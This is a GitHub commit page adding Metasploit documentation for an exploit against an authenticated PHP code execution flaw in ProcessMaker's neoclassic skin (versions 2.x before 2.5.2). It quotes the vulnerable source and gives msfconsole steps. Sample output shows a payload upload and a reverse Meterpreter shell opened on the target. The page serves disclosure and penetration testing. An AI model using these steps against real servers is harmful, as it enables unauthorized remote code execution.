Skip to content

Commit 609b131

Browse files
committed
Land rapid7#8482 docs for processmaker_exec
2 parents 6161fba + 31975b4 commit 609b131

File tree

1 file changed

+98
-0
lines changed

1 file changed

+98
-0
lines changed
Lines changed: 98 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
## Description
2+
3+
This module exploits a PHP code execution vulnerability in the default *neoclassic* skin for [ProcessMaker Open Source](http://www.processmaker.com/) which allows any authenticated user to execute PHP code. The vulnerable skin is installed by default in version 2.x prior to 2.5.2 and cannot be removed via the web interface.
4+
5+
6+
## Vulnerable Application
7+
8+
ProcessMaker is an open source, workflow management software suite, which includes tools to automate your workflow, design forms, create documents, assign roles and users, create routing rules, and map an individual process quickly and easily. It's relatively lightweight and doesn't require any kind of installation on the client computer.
9+
10+
This module has been tested successfully on ProcessMaker Open Source versions:
11+
12+
* 2.5.1 on Windows XP SP3
13+
* 2.5.0 on Windows XP SP3
14+
* 2.0.45 on Debian Linux
15+
* 2.0.23 on Windows XP SP3
16+
17+
The vulnerability was patched in version 2.5.2.
18+
19+
Source and Installers:
20+
21+
* [ProcessMaker Open Source 2.0.x](https://sourceforge.net/projects/processmaker/files/ProcessMaker/2.0/)
22+
* [ProcessMaker Open Source 2.5.x](https://sourceforge.net/projects/processmaker/files/ProcessMaker/2.5/)
23+
24+
25+
## Technical Details
26+
27+
Several files within the default *neoclassic* skin allow authenticated users to supply a PHP function in the `action` parameter and arguments for the aforementioned function in the `params` parameter. The application calls the supplied function name with the supplied parameters resulting in execution of arbitrary user supplied PHP code.
28+
29+
The relevant source code for the affected files is shown below.
30+
31+
**appFolder/appFolderAjax.php**
32+
33+
```php
34+
if (($_REQUEST['action']) != 'rename') {
35+
$functionName = $_REQUEST ['action'];
36+
$functionParams = isset ($_REQUEST ['params']) ? $_REQUEST ['params'] : array ();
37+
$functionName ($functionParams);
38+
```
39+
40+
**cases/casesStartPage_Ajax.php**
41+
42+
```php
43+
$functionName = $_REQUEST['action'];
44+
$functionParams = isset( $_REQUEST['params'] ) ? $_REQUEST['params'] : array ();
45+
$functionName( $functionParams );
46+
```
47+
48+
**cases/cases_SchedulerGetPlugins.php**
49+
50+
```php
51+
$functionName = $_REQUEST['action'];
52+
$functionParams = isset( $_REQUEST['params'] ) ? $_REQUEST['params'] : array ();
53+
$functionName( $functionParams );
54+
```
55+
56+
57+
## Verification Steps
58+
59+
1. Start `msfconsole`
60+
2. Do: `use exploit/multi/http/processmaker_exec`
61+
3. Do: `set username [USER]`
62+
4. Do: `set password [PASS]`
63+
5. Do: `set rhost [IP]`
64+
6. Do: `run`
65+
7. You should get a session
66+
67+
68+
## Sample Output
69+
70+
```
71+
msf exploit(processmaker_exec) > check
72+
[*] 192.168.172.135:80 - Authenticating as user 'admin'
73+
[+] 192.168.172.135:80 - Authenticated as user 'admin'
74+
[*] 192.168.172.135:80 - Sending check
75+
[+] The target is vulnerable.
76+
77+
msf exploit(processmaker_exec) > exploit
78+
[*] Started reverse handler on 192.168.172.1:4444
79+
[*] 192.168.172.135:80 - Authenticating as user 'admin'
80+
[+] 192.168.172.135:80 - Authenticated as user 'admin'
81+
[*] 192.168.172.135:80 - Sending payload 'V7hd5EevO9Ho.php' (1795 bytes)
82+
[+] 192.168.172.135:80 - Payload sent successfully
83+
[*] 192.168.172.135:80 - Retrieving file 'V7hd5EevO9Ho.php'
84+
[*] Sending stage (39195 bytes) to 192.168.172.135
85+
[*] Meterpreter session 3 opened (192.168.172.1:4444 -> 192.168.172.135:32789) at 2013-10-29 09:53:08 -0500
86+
[+] Deleted V7hd5EevO9Ho.php
87+
88+
^C[-] Exploit failed: Interrupt
89+
90+
meterpreter > getuid
91+
Server username: www-data (33)
92+
meterpreter > sysinfo
93+
Computer : processmaker
94+
OS : Linux processmaker 3.2.0-4-amd64 #1 SMP Debian 3.2.51-1 x86_64
95+
Meterpreter : php/php
96+
meterpreter > exit
97+
```
98+

0 commit comments

Comments
 (0)